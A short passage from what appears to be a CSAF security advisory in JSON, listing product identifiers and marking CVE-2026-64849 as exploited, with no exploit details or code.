"CSAFPID-9015638", "CSAFPID-9026803", "CSAFPID-9033545" ] } ], "threats": [ { "category": "exploit_status", "details": "exploited" } ], "title": "CVE-2026-64849" } ] }